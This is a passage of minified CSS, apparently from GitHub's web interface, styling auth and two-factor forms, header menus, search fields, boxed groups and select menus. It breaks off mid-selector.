.CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty 